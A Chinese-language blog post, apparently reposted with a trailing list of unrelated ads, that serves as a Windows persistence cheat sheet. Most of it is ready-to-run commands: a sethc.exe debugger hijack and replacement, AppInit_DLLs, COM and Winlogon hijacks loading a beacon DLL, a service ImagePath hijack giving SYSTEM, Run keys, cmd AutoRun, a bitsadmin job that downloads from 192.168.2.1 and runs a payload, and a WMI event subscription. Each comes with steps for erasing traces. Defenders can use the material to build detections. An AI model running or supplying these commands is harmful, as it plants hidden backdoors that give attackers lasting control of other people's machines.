以下通過註冊表對setch.exe設置了debug為cmd.exe程序，也就是按5下shift會彈出cmd的框

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f

清理痕迹

HKLM是HKEY_LOCAL_MACHINE

找到目標的註冊表，將debug內容刪除

環境變量

用戶登陸時會去加載環境變量，通過設置環境變量UserInitMprLogonScript值，實現登陸時自動運行腳本

reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Public\Downloads\1.bat" /f

清理痕迹

直接找到 開始->用戶頭像->更改我的環境變量

進程退出劫持

在註冊表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit下控製程序的退出時執行的動作,但有時候權限很迷

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "c:\payload.exe”

清理痕迹

找到目標的註冊表刪除即可

AppInit_DLLs注入

User32.dll 被加載到進程時，設置其註冊表的中能設置加載其他的dll文件，則可使其加載惡意的腳本

對HKML註冊表的內容進行修改一般都要system權限

Windows 10

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Appinit_Dlls /t REG_SZ /d "c:\Users\Public\Downloads\beacon.dll" /f

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 0x1 /f

其他

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Appinit_Dlls /t REG_SZ /d "c:\Users\Public\Downloads\beacon.dll" /f

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 0x1 /f

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0x0 /f

這樣在打開cmd或者計算器這種能調用User32.dll動態鏈接庫的時候就會觸發

清理痕迹

到對應註冊表的位置刪除Appinit_Dlls的值

bits文件傳輸

通過bitsadmin從網絡上下載的時候可以額外執行腳本

bitsadmin /create test

隨意下載
bitsadmin /addfile test http://192.168.2.1:8000/payload.ps1 c:\users\public\downloads\payload.ps1 

執行的命令
bitsadmin /SetNotifyCmdLine test "C:\windows\system32\cmd.exe" "cmd.exe /c c:\users\public\downloads\payload.exe" 

啟動任務
bitsadmin /resume test

每次開機的時候會觸發

清理痕迹

bitsadmin /reset

COM組件劫持

將腳本放入com組件中

reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32" /t REG_SZ /d "c:\users\public\downloads\beacon.dll" /f

reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Apartment" /f

清理痕迹

刪除註冊表中的路徑值，並通過路徑刪除木馬文件

替換cmd.exe

將sethc.exe（按shift 5下）替換成cmd.exe

takeown /f sethc.* /a /r /d y
cacls sethc.exe /T /E /G administrators:F
copy /y cmd.exe sethc.exe

清理痕迹

找個原版的setch.exe 覆蓋回去

Winlogon劫持

winlogon是windows登錄賬戶時會執行的程序，這裏將其註冊表中寫入木馬運行的dll路徑

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v shell /t REG_SZ /d "explorer.exe, rundll32.exe \"c:\users\public\downloads\beacon.dll\" StartW" /f

清理痕迹

刪除註冊表的shell中的值，並且找到後門文件刪除掉

組策略

需要能遠程登錄到桌面

輸入gpedit.msc打開組策略，需要管理員賬號

在用戶與計算機中的windows設置中均可以對腳本進行編輯，用戶策略是用戶權限，計算機策略是system權限

清理痕迹

打開組策略找到腳本，刪除即可

修改計算器啟動服務調用的程序

啟動服務有些需要手動啟動，比如IEEtwCollectorService 服務，這裏做後面的思路是，該服務本身對計算機運行沒有影響，因此將其手動啟動改成自動啟動，並將其運行的腳本改成木馬後門

類比一下windows10 沒有IEEtwCollectorService 服務可以選擇COMSysApp服務

篡改運行腳本
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\IEEtwCollector Service" /v ImagePath /t REG_EXPAND_SZ /d "c:\users\public\downloads\beacon.exe" /f

設置自動啟動
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\IEEtwCollector Service" /v Start /t REG_DWORD /d 2 /f 

啟動服務
sc start IEEtwCollectorService

返回的是system權限

清理痕迹

將篡改的註冊表改回來，並且刪除目標木馬

MSDTC 服務

MSDTC 服務默認會加載一個在windowss/system32下的不存在的 oci.dll，思路是將cs.dll 改名為oci.dll，放到system32下即可，該方法需要管理員用戶權限

清理痕迹

刪除的時候因為被多個進程調用，因此刪不掉，這裏可以換個思路修改其名稱，重啟再刪除

啟動項

啟動項是會去指定文件夾下運行文件夾下的所有服務，這個文件夾是

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

C:\Users\test\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

也會運行以下註冊表中的腳本

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f

需要高權限
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f

清理痕迹

刪除文件夾下的木馬或者刪除註冊表中添加的惡意木馬註冊表，並找到木馬位置刪除

cmd 啟動劫持

在cmd啟動時回去註冊表中查看是否有AutoRun的健值，如果有則會運行其中的腳本

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f

清理痕迹

在管理員權限下刪除註冊表的值即可

wmic事件

註冊一個事件過濾器，該過濾器是開機 2 分鐘到 2 分半鍾，由於是永久 WMI 事 件訂閱，故需要管理員權限，最終獲取到權限也是 system 權限
wmic 
/NAMESPACE:"\\root\subscription"PATH__EventFilterCREATE Name="TestEventFilter", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 20 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >=120 AND TargetInstance.SystemUpTime < 150" 


註冊一個事件消費者，這裏寫入了要執行的命令，是用 rundll32 啟動 cs 的 dll
wmic /NAMESPACE:"\\root\subscription"PATHCommandLineEventConsumer CREATE Name="TestConsumer2",ExecutablePath="C:\Windows\System32\cmd.exe",CommandLineTemplate=" /c rundll32 c:\users\public\downloads\beacon.dll #5" 

綁定事件 過濾器和事件消費者
wmic /NAMESPACE:"\\root\subscription"PATH__FilterToConsumerBindingCREATE Filter="__EventFilter.Name=\"TestEventFilter\"", Consumer="CommandLineEventConsumer.Name=\"TestConsumer2\""

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※超省錢租車方案

※別再煩惱如何寫文案,掌握八大原則!

※回頭車貨運收費標準

※教你寫出一流的銷售文案?

※產品缺大量曝光嗎?你需要的是一流包裝設計!

※廣告預算用在刀口上，台北網頁設計公司幫您達到更多曝光效益